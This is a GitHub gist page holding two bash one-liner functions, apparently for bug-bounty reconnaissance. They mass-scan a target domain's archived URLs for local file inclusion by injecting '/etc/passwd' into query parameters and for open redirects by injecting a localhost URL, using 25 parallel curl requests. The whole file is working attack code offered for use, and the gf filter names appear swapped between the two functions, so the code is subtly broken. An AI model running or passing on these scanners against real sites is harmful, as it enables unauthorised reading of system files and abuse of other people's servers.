Skip to content

Instantly share code, notes, and snippets.

@BlasterX24

BlasterX24/bash_aliases.sh

Forked from dwisiswant0/bash_aliases.sh
Created August 17, 2020 04:58
Show Gist options
  • Save BlasterX24/70d4b1779a76c65b8bb7fb611d0c4720 to your computer and use it in GitHub Desktop.
Save BlasterX24/70d4b1779a76c65b8bb7fb611d0c4720 to your computer and use it in GitHub Desktop.
Download ZIP
One-liner to get Open-redirect & LFI
Raw
bash_aliases.sh
lfi() {
gau $1 | gf redirect | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
}
open-redirect() {
local LHOST="http://localhost"; gau $1 | gf lfi | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment